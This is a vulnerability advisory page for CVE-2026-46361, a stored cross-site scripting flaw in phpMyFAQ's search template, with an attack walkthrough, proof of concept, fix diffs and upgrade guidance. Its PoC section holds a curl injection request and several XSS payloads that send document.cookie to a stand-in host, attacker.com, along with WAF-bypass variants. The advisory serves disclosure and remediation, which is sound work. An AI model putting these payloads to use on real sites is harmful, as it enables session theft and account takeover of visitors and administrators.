CVE-2026-46361: phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering

Published May 6, 2026
·
Updated

Summary

The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.

A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, htmlentitydecode(striptags(...)) restores the raw HTML tags — bypassing striptags() — and the restored payload is injected into every visitor's browser via the | raw output.

This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.

---

Affected Files

| File | Location | Issue | |---|---|---| | phpmyfaq/assets/templates/default/search.twig | lines rendering result.question, result.answerPreview | (Vertical Bar) raw disables autoescape | | phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php | search result processing loop | htmlentitydecode(striptags(...)) restores encoded payloads | | phpmyfaq/src/phpMyFAQ/Search.php | logSearchTerm() | No HTML sanitization on stored search term (secondary, preventive) |

---

Details

Vulnerability A (Primary): search.twig — | raw Disables Autoescape

File: phpmyfaq/assets/templates/default/search.twig

twig <a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a> <small class="small">{{ result.answerPreview | raw }}...</small>

Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.

Seven (7) instances of | raw exist in search.twig:

twig {{ result.renderedScore | raw }} {{ result.question | raw }} {{ result.answerPreview | raw }} {{ searchTags | raw }} {{ relatedTags | raw }} {{ pagination | raw }} {{ 'helpsearch' | translate | raw }}

Each of these constitutes an independent XSS surface if its data source is compromised.

---

Vulnerability B (Amplifier): SearchController.php — htmlentitydecode(striptags()) Bypass

File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php

php $data->answer = htmlentitydecode( striptags((string) $data->answer), ENTCOMPAT, encoding: 'utf-8' );

This pattern is a known security anti-pattern. When a payload is stored as HTML entities, striptags() passes it through unmodified (it sees no actual tags), and htmlentitydecode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.

Bypass walkthrough: text Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)> striptags() → no change (no real tags detected) → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> htmlentitydecode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> | raw output → executes in browser ---

Attack Chain

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Payload injection

Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body: html <svg onload=fetch('https://attacker.com/?c='+document.cookie)> <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> Step 2 — Persistence

The payload is stored in the DB without HTML sanitization at the storage layer.

Step 3 — Victim triggers the XSS

Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:

1. Retrieves the record from the database 2. Applies striptags() → entity-encoded payload passes through 3. Applies htmlentitydecode() → raw <svg onload=...> is restored 4. Passes the value to search.twig as result.answerPreview 5. Template renders with | raw → XSS executes

Step 4 — Impact

- Session cookie exfiltration → full account takeover - Administrator session hijacking (admin visiting search page) - Persistent attack: payload fires for every visitor until manually removed - Potential for worm propagation via auto-created FAQ entries

---

PoC

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Inject payload via FAQ editor:

bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=<editorsession>' \ -d '{ "data": { "pmf-csrf-token": "<validcsrftoken>", "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "searchable-keyword", "author": "attacker", "email": "attacker@example.com" } }'

Step 2 — Trigger XSS as victim: https://target.example.com/search.html?search=searchable-keyword The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.

Alternative payloads (for WAF bypass):

html &lt;details open ontoggle=alert(document.cookie)&gt; &lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt;

---

Impact

- Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context. - Integrity : DOM manipulation, phishing overlay injection. - Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.

---

Recommended Fix

Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig

diff - <a href="{{ result.url }}">{{ result.question | raw }}</a> - <small>{{ result.answerPreview | raw }}...</small> + <a href="{{ result.url }}">{{ result.question }}</a> + <small>{{ result.answerPreview }}...</small>

If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.

Fix 2 (Critical) — Remove htmlentitydecode() from search result pipeline SearchController.php

diff - $data->answer = htmlentitydecode( - striptags((string) $data->answer), - ENTCOMPAT, - encoding: 'utf-8' - ); + $data->answer = striptags((string) $data->answer); $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);

Fix 3 (Recommended) — Audit all | raw usages in search.twig

The following additional | raw instances should be reviewed and sanitized:

twig {{ searchTags | raw }} → apply HTML Purifier or remove | raw {{ relatedTags | raw }} → apply HTML Purifier or remove | raw {{ pagination | raw }} → safe only if generated entirely server-side with no user input

Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()

diff $this->configuration->getDb()->escape($searchTerm) + htmlspecialchars( + $this->configuration->getDb()->escape($searchTerm), + ENTQUOTES | ENTHTML5, + 'UTF-8' + )

---

Other sources

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass htmlentitydecode(striptags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.

— MITRE

phpMyFAQ has stored XSS via | raw Filter in search.twig — htmlentitydecode(striptags()) Bypass in Search Result Rendering

— Packagist

Affected Software

5 affected componentsFixes available
PhpMyFaq phpmyfaq<4.1.2
composer/phpmyfaq/phpmyfaq<=4.1.1
composer/thorsten/phpmyfaq<=4.1.1
composer/thorsten/phpmyfaq<=4.1.1
4.1.2
composer/phpmyfaq/phpmyfaq<=4.1.1
4.1.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/thorsten/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.2
  2. Upgrade

    Upgrade composer/phpmyfaq/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.2
  3. Configuration

    Remove the | raw filter from result.question and result.answerPreview so Twig auto-escaping remains enabled.

    phpmyfaq/assets/templates/default/search.twig Twig | raw filter on result.question and result.answerPreview = removed
  4. Configuration

    Remove html_entity_decode() from the html_entity_decode(strip_tags(...)) processing of search result content.

    phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php html_entity_decode() in the search result processing pipeline = removed
  5. Configuration

    Audit the remaining | raw usages, including relatedTags, searchTags, renderedScore, pagination, and translated output; remove | raw or sanitize the data before rendering where it can contain user-controlled content.

    phpmyfaq/assets/templates/default/search.twig Other | raw usages = audited and sanitized or removed
  6. Configuration

    Apply htmlspecialchars() to the search term in logSearchTerm() using ENT_QUOTES | ENT_HTML5 and UTF-8 encoding.

    phpmyfaq/src/phpMyFAQ/Search.php logSearchTerm() output encoding = htmlspecialchars(..., ENT_QUOTES | ENT_HTML5, 'UTF-8')

Event History

May 6, 2026
Advisory Published
via GitHub·08:31 PM
Data Sourced
via GitHub·08:31 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·08:31 PM
DescriptionSeverityAffected Software
May 15, 2026
CVE Published
via MITRE·06:36 PM
Data Sourced
via MITRE·06:36 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-46361?

CVE-2026-46361 has a high severity rating due to its potential for stored cross-site scripting attacks.

2

How do I fix CVE-2026-46361?

To fix CVE-2026-46361, upgrade phpMyFAQ to version 4.1.2 or later to ensure autoescape protection is enabled.

3

Who is affected by CVE-2026-46361?

CVE-2026-46361 affects all versions of phpMyFAQ prior to 4.1.2.

4

What type of vulnerability is CVE-2026-46361?

CVE-2026-46361 is classified as a stored cross-site scripting vulnerability.

5

What can attackers do with CVE-2026-46361?

Attackers exploiting CVE-2026-46361 can inject malicious scripts into the search results, compromising the security of users accessing the phpMyFAQ application.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203